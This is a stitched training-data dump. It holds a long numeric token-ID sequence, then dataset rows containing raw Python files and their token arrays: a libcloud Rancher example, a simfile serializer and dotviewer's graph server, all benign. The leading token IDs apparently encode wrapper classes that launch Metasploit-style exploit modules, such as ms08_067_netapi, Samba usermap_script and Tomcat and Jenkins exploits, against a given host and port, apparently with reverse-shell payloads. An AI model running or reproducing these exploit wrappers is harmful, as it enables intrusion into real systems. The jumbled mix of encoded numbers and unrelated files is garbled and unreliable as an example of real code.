13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29906, 29896, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29906, 29896, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 4548, 417, 277, 613, 376, 24538, 29914, 23102, 29914, 4270, 615, 15926, 29918, 29906, 29941, 29946, 29918, 1627, 17433, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 29898, 23813, 543, 9006, 29914, 24538, 29914, 1639, 627, 1159, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 13, 13, 1990, 3355, 29934, 10403, 6004, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 29961, 7727, 29962, 13, 1678, 2045, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 29900, 29946, 29872, 29947, 29955, 29945, 29906, 29890, 29929, 29890, 29955, 29946, 29883, 2291, 328, 29955, 10702, 29900, 11248, 29953, 29896, 29906, 29929, 29883, 29929, 29900, 29872, 29941, 29896, 29955, 29906, 29945, 29947, 29900, 29874, 29906, 29914, 7576, 29914, 4548, 417, 1169, 29914, 9910, 29914, 29885, 10669, 29914, 1645, 29918, 1758, 29875, 29918, 2974, 29889, 6050, 13, 4706, 826, 3174, 29901, 13, 9651, 12027, 417, 277, 9310, 1853, 29962, 1125, 518, 8216, 29962, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 8404, 29918, 29934, 10403, 29918, 6004, 29908, 13, 4706, 1583, 29889, 5509, 353, 376, 1124, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29896, 29900, 29929, 29929, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29906, 29896, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 4548, 417, 277, 613, 376, 9910, 29914, 29885, 10669, 29914, 1645, 29918, 1758, 29875, 29918, 2974, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 16035, 277, 29889, 7978, 29898, 9006, 543, 1645, 29914, 29391, 1457, 357, 29914, 24244, 29918, 991, 1159, 13, 13, 13, 1990, 341, 29879, 29900, 29947, 29918, 29900, 29953, 29955, 29918, 6779, 2754, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 991, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 4548, 417, 1169, 29914, 10499, 29914, 3844, 29890, 29914, 1516, 29900, 29947, 29918, 29900, 29953, 29955, 29918, 1212, 2754, 29889, 6050, 13, 1678, 24300, 1560, 29890, 16035, 7018, 1549, 25554, 287, 364, 6739, 18203, 29889, 13976, 2107, 373, 5417, 921, 29886, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 12027, 417, 277, 9310, 1853, 29962, 1125, 518, 8216, 29962, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 1516, 29900, 29947, 29918, 29900, 29953, 29955, 29918, 1212, 2754, 29908, 13, 4706, 1583, 29889, 5509, 353, 376, 11277, 29899, 8452, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 376, 5080, 29908, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29946, 29946, 29945, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29906, 29896, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 4548, 417, 277, 613, 376, 10499, 29914, 3844, 29890, 29914, 1516, 29900, 29947, 29918, 29900, 29953, 29955, 29918, 1212, 2754, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 29898, 9006, 543, 10499, 29914, 29391, 1457, 357, 29914, 24244, 29918, 991, 1159, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 13, 13, 1990, 2315, 482, 12412, 29918, 6444, 29918, 17553, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 991, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 4548, 417, 1169, 29914, 9910, 29914, 1124, 29914, 1171, 482, 10599, 29918, 5150, 29918, 9009, 29889, 6050, 13, 13, 1678, 9056, 6441, 393, 6511, 7592, 775, 8225, 373, 2315, 482, 12412, 6692, 4002, 29895, 13, 13, 1678, 14402, 29901, 10987, 263, 23180, 519, 3509, 310, 445, 363, 5214, 23136, 29889, 288, 29891, 325, 1032, 29889, 13, 1678, 826, 3174, 29901, 13, 4706, 12027, 417, 277, 9310, 1853, 29962, 1125, 518, 8216, 29962, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 2517, 482, 12412, 29918, 6444, 29918, 17553, 29908, 13, 4706, 1583, 29889, 5509, 353, 376, 1124, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29947, 29900, 29947, 29900, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29906, 29896, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 4548, 417, 277, 613, 376, 9910, 29914, 1124, 29914, 1171, 482, 10599, 29918, 5150, 29918, 9009, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 29898, 9006, 543, 1645, 29914, 29391, 1457, 357, 29914, 24244, 29918, 991, 1159, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 13, 13, 1990, 13380, 29470, 20418, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 991, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 4548, 417, 1169, 29914, 9389, 29914, 3844, 9392, 29914, 4288, 29918, 29926, 1280, 29918, 4258, 29889, 6050, 13, 13, 4706, 525, 1170, 29915, 965, 1149, 376, 17396, 1829, 5011, 5656, 29871, 29906, 29889, 29941, 29889, 29906, 512, 24216, 4911, 6760, 362, 826, 8844, 653, 3497, 14350, 29908, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 12027, 417, 277, 9310, 1853, 29962, 1125, 518, 8216, 29962, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 17396, 1829, 29918, 29470, 29918, 797, 24216, 2659, 9832, 362, 29908, 13, 4706, 1583, 29889, 5509, 353, 376, 3844, 415, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 376, 9389, 29908, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29947, 29900, 29947, 29900, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29906, 29896, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 4548, 417, 277, 613, 376, 9910, 29914, 1124, 29914, 1171, 482, 10599, 29918, 5150, 29918, 9009, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 29898, 9006, 543, 1645, 29914, 29391, 1457, 357, 29914, 24244, 29918, 991, 1159, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 13, 13, 1990, 317, 20027, 2659, 1958, 4081, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 991, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 4548, 417, 1169, 29914, 9910, 29914, 29879, 20027, 29914, 375, 837, 481, 29918, 2154, 29889, 6050, 13, 13, 4706, 525, 1170, 29915, 965, 1149, 376, 29903, 20027, 376, 6786, 2910, 2471, 29908, 10516, 11080, 918, 29908, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 12027, 417, 277, 9310, 1853, 29962, 1125, 518, 8216, 29962, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 29903, 20027, 29918, 2659, 1958, 29918, 4081, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 5509, 353, 376, 6779, 12809, 3267, 29899, 13429, 29908, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 376, 9910, 29908, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29896, 29941, 29929, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29896, 29941, 29929, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 4548, 417, 277, 613, 376, 9910, 29914, 29879, 20027, 29914, 375, 837, 481, 29918, 2154, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 29898, 9006, 543, 1645, 29914, 29391, 1457, 357, 29914, 24244, 29918, 991, 1159, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 13, 13, 1990, 13380, 21599, 4117, 16746, 3399, 20418, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 991, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 4548, 417, 1169, 29914, 9910, 29914, 1124, 29914, 24468, 29918, 29885, 629, 29918, 16519, 29889, 6050, 13, 13, 4706, 525, 1170, 29915, 965, 1149, 376, 17396, 1829, 4335, 4117, 15629, 8427, 10034, 2376, 261, 13189, 4173, 630, 5920, 11080, 918, 29908, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 12027, 417, 277, 9310, 1853, 29962, 1125, 518, 8216, 29962, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 17396, 1829, 29918, 21599, 4117, 29918, 20418, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 5509, 353, 376, 1124, 29908, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 376, 9910, 29908, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29947, 29900, 29947, 29900, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 6213, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 4548, 417, 277, 613, 376, 9910, 29914, 1124, 29914, 24468, 29918, 29885, 629, 29918, 16519, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 29898, 9006, 543, 1645, 29914, 29391, 1457, 357, 29914, 24244, 29918, 991, 1159, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 13, 13, 1990, 23750, 29918, 8426, 29918, 4081, 29918, 8404, 29918, 20418, 29898, 9544, 417, 277, 1125, 13, 1678, 9995, 991, 597, 3292, 29889, 510, 29914, 2390, 333, 29955, 29914, 2527, 4692, 417, 277, 29899, 4468, 29914, 10054, 29914, 6207, 29914, 7576, 29914, 4548, 417, 1169, 29914, 9910, 29914, 1124, 29914, 4142, 11335, 29918, 2154, 29918, 11058, 29889, 6050, 13, 13, 4706, 525, 1170, 29915, 965, 1149, 376, 29967, 16468, 29899, 8426, 14415, 29899, 20008, 3355, 11080, 918, 29908, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 12027, 417, 277, 9310, 1853, 29962, 1125, 518, 8216, 29962, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3646, 7607, 29900, 29892, 29871, 29900, 22164, 13, 4706, 1583, 29889, 978, 353, 376, 29967, 16468, 29918, 8426, 29918, 4081, 29918, 20008, 29918, 8404, 29918, 20418, 29908, 13, 4706, 1583, 29889, 5509, 353, 376, 1124, 29908, 13, 4706, 1583, 29889, 5182, 353, 3646, 13, 4706, 1583, 29889, 7971, 29918, 5943, 353, 6213, 13, 4706, 1583, 29889, 7971, 29918, 359, 353, 376, 9910, 29908, 13, 4706, 1583, 29889, 7971, 29918, 3259, 353, 6213, 13, 4706, 2428, 29898, 9544, 417, 277, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 1583, 29889, 978, 29892, 1583, 29889, 5182, 29892, 1583, 29889, 7971, 29918, 5943, 29892, 1583, 29889, 7971, 29918, 359, 29892, 1583, 29889, 7971, 29918, 3259, 13, 4706, 1723, 13, 13, 1678, 822, 6222, 29898, 1311, 29892, 3132, 29892, 3495, 29892, 2011, 29922, 29947, 29900, 29947, 29900, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 3132, 29901, 1539, 4692, 417, 277, 3132, 1203, 13, 4706, 584, 3207, 3495, 29901, 1347, 15783, 5641, 310, 278, 3646, 13, 4706, 584, 3207, 2011, 29901, 2322, 2011, 29871, 29947, 29900, 29947, 29900, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 16035, 277, 353, 3132, 29889, 7576, 29889, 1509, 703, 4548, 417, 277, 613, 376, 9910, 29914, 1124, 29914, 4142, 11335, 29918, 2154, 29918, 11058, 1159, 13, 4706, 16035, 277, 3366, 29934, 20832, 29903, 3108, 353, 3495, 13, 4706, 16035, 277, 3366, 29934, 15082, 3108, 353, 2011, 13, 4706, 4982, 29918, 3888, 353, 16035, 277, 29889, 7978, 29898, 9006, 543, 1645, 29914, 29391, 1457, 357, 29914, 24244, 29918, 991, 1159, 13, 4706, 4480, 29918, 1454, 29918, 9057, 29918, 5729, 12757, 29898, 9057, 29918, 3888, 29892, 3132, 29897, 13, 2 ]
docs/examples/container/rancher/search_containers.py
dupontz/libcloud
1,435
46701
<reponame>dupontz/libcloud<gh_stars>1000+ from libcloud.container.types import Provider from libcloud.container.providers import get_driver driver = get_driver(Provider.RANCHER) connection = driver("MYRANCHERACCESSKEY", "MYRANCHERSECRETKEY", host="172.30.22.1", port=8080, secure=False) search_results = connection.ex_search_containers( search_params={"imageUuid": "docker:mysql", "state": "running"}) id_of_first_result = search_results[0]['id']
[ 1, 529, 276, 1112, 420, 29958, 20908, 609, 29920, 29914, 1982, 9274, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29900, 29900, 29974, 13, 3166, 4303, 9274, 29889, 7611, 29889, 8768, 1053, 1019, 5489, 13, 3166, 4303, 9274, 29889, 7611, 29889, 771, 29454, 1053, 679, 29918, 9465, 13, 13, 9465, 353, 679, 29918, 9465, 29898, 6980, 29889, 29934, 2190, 3210, 1001, 29897, 13, 13, 9965, 353, 7156, 703, 17870, 29934, 2190, 3210, 1001, 2477, 23524, 10818, 613, 376, 17870, 29934, 2190, 3210, 1001, 1660, 22245, 29911, 10818, 613, 13, 462, 1678, 3495, 543, 29896, 29955, 29906, 29889, 29941, 29900, 29889, 29906, 29906, 29889, 29896, 613, 2011, 29922, 29947, 29900, 29947, 29900, 29892, 11592, 29922, 8824, 29897, 13, 13, 4478, 29918, 9902, 353, 3957, 29889, 735, 29918, 4478, 29918, 1285, 475, 414, 29898, 13, 1678, 2740, 29918, 7529, 3790, 29908, 3027, 29965, 5416, 1115, 376, 14695, 29901, 7938, 613, 376, 3859, 1115, 376, 21094, 29908, 1800, 13, 13, 333, 29918, 974, 29918, 4102, 29918, 2914, 353, 2740, 29918, 9902, 29961, 29900, 22322, 333, 2033, 13, 2 ]
simfile/_private/serializable.py
garcia/simfile
22
22410
<filename>simfile/_private/serializable.py<gh_stars>10-100 from abc import ABCMeta, abstractmethod from io import StringIO from typing import TextIO class Serializable(metaclass=ABCMeta): @abstractmethod def serialize(self, file: TextIO) -> None: """ Write the object to provided text file object as MSD. """ pass def __str__(self) -> str: """ Convert the object to an MSD string. """ serialized = StringIO() self.serialize(serialized) return serialized.getvalue()
[ 1, 529, 9507, 29958, 3601, 1445, 19891, 9053, 29914, 15550, 13902, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29899, 29896, 29900, 29900, 13, 3166, 25638, 1053, 16417, 19346, 29892, 9846, 5696, 13, 3166, 12013, 1053, 1714, 5971, 13, 3166, 19229, 1053, 3992, 5971, 13, 13, 13, 1990, 18896, 13902, 29898, 2527, 562, 605, 29922, 19658, 19346, 1125, 13, 13, 1678, 732, 16595, 5696, 13, 1678, 822, 28755, 29898, 1311, 29892, 934, 29901, 3992, 5971, 29897, 1599, 6213, 29901, 13, 4706, 9995, 13, 4706, 14350, 278, 1203, 304, 4944, 1426, 934, 1203, 408, 341, 7230, 29889, 13, 4706, 9995, 13, 4706, 1209, 13, 268, 13, 1678, 822, 4770, 710, 12035, 1311, 29897, 1599, 851, 29901, 13, 4706, 9995, 13, 4706, 14806, 278, 1203, 304, 385, 341, 7230, 1347, 29889, 13, 4706, 9995, 13, 4706, 7797, 1891, 353, 1714, 5971, 580, 13, 4706, 1583, 29889, 643, 6646, 29898, 15550, 1891, 29897, 13, 4706, 736, 7797, 1891, 29889, 657, 1767, 580, 2 ]
dotviewer/graphserver.py
nanjekyejoannah/pypy
333
135382
#! /usr/bin/env python """Graph server. From the command-line it's easier to use sshgraphserver.py instead of this. """ from __future__ import print_function, absolute_import import os, sys PARENTDIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # make dotviewer importable sys.path.insert(0, PARENTDIR) from dotviewer import msgstruct try: from cStringIO import StringIO except ImportError: from io import StringIO try: import thread except ImportError: import _thread as thread class Server(object): def __init__(self, io): self.io = io self.display = None def run(self, only_one_graph=False): # wait for the CMSG_INIT message msg = self.io.recvmsg() if msg[0] != msgstruct.CMSG_INIT or msg[1] != msgstruct.MAGIC: raise ValueError("bad MAGIC number") # process messages until we have a pygame display while self.display is None: self.process_next_message() # start a background thread to process further messages if not only_one_graph: thread.start_new_thread(self.process_all_messages, ()) # give control to pygame self.display.run1() def process_all_messages(self): try: while True: self.process_next_message() except EOFError: from dotviewer.drawgraph import display_async_quit display_async_quit() def process_next_message(self): msg = self.io.recvmsg() fn = self.MESSAGES.get(msg[0]) if fn: fn(self, *msg[1:]) else: self.log("unknown message code %r" % (msg[0],)) def log(self, info): print(info, file=sys.stderr) def setlayout(self, layout): if self.display is None: # make the initial display from dotviewer.graphdisplay import GraphDisplay self.display = GraphDisplay(layout) else: # send an async command to the display running the main thread from dotviewer.drawgraph import display_async_cmd display_async_cmd(layout=layout) def cmsg_start_graph(self, graph_id, scale, width, height, *rest): from dotviewer.drawgraph import GraphLayout self.newlayout = GraphLayout(float(scale), float(width), float(height)) def request_reload(): self.io.sendmsg(msgstruct.MSG_RELOAD, graph_id) def request_followlink(word): self.io.sendmsg(msgstruct.MSG_FOLLOW_LINK, graph_id, word) self.newlayout.request_reload = request_reload self.newlayout.request_followlink = request_followlink def cmsg_add_node(self, *args): self.newlayout.add_node(*args) def cmsg_add_edge(self, *args): self.newlayout.add_edge(*args) def cmsg_add_link(self, word, *info): if len(info) == 1: info = info[0] elif len(info) >= 4: info = (info[0], info[1:4]) self.newlayout.links[word] = info def cmsg_fixed_font(self, *rest): self.newlayout.fixedfont = True def cmsg_stop_graph(self, *rest): self.setlayout(self.newlayout) del self.newlayout self.io.sendmsg(msgstruct.MSG_OK) def cmsg_missing_link(self, *rest): self.setlayout(None) def cmsg_say(self, errmsg, *rest): from drawgraph import display_async_cmd display_async_cmd(say=errmsg) MESSAGES = { msgstruct.CMSG_START_GRAPH: cmsg_start_graph, msgstruct.CMSG_ADD_NODE: cmsg_add_node, msgstruct.CMSG_ADD_EDGE: cmsg_add_edge, msgstruct.CMSG_ADD_LINK: cmsg_add_link, msgstruct.CMSG_FIXED_FONT: cmsg_fixed_font, msgstruct.CMSG_STOP_GRAPH: cmsg_stop_graph, msgstruct.CMSG_MISSING_LINK:cmsg_missing_link, msgstruct.CMSG_SAY: cmsg_say, } def listen_server(local_address, s1=None): import socket, graphclient, thread if isinstance(local_address, str): if ':' in local_address: interface, port = local_address.split(':') else: interface, port = '', local_address local_address = interface, int(port) if s1 is None: s1 = socket.socket() s1.bind(local_address) s1.listen(5) print('listening on %r...' % (s1.getsockname(),)) while True: conn, addr = s1.accept() print('accepted connection from %r' % (addr,)) sock_io = msgstruct.SocketIO(conn) handler_io = graphclient.spawn_local_handler() thread.start_new_thread(copy_all, (sock_io, handler_io)) thread.start_new_thread(copy_all, (handler_io, sock_io)) del sock_io, handler_io, conn def copy_all(io1, io2): try: while True: io2.sendall(io1.recv()) except EOFError: io2.close_sending() if __name__ == '__main__': if len(sys.argv) != 2: if len(sys.argv) == 1: # start locally import sshgraphserver sshgraphserver.ssh_graph_server(['LOCAL']) sys.exit(0) print(__doc__, file=sys.stderr) sys.exit(2) if sys.argv[1] == '--stdio': # a one-shot server running on stdin/stdout io = msgstruct.FileIO(getattr(sys.stdin, 'buffer', sys.stdin), getattr(sys.stdout, 'buffer', sys.stdout)) srv = Server(io) try: srv.run() except Exception as e: import traceback f = StringIO() traceback.print_exc(file=f) # try to add some explanations help = (" | if you want to debug on a remote machine, see\n" " | instructions in dotviewer/sshgraphserver.py\n") try: os.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = "hide" import pygame if isinstance(e, pygame.error): print(help, file=f) except Exception as e: f.seek(0) f.truncate() print("%s: %s" % (e.__class__.__name__, e), file=f) print(" | Pygame is not installed; either install it, or", file=f) print(help, file=f) io.sendmsg(msgstruct.MSG_ERROR, f.getvalue()) else: listen_server(sys.argv[1])
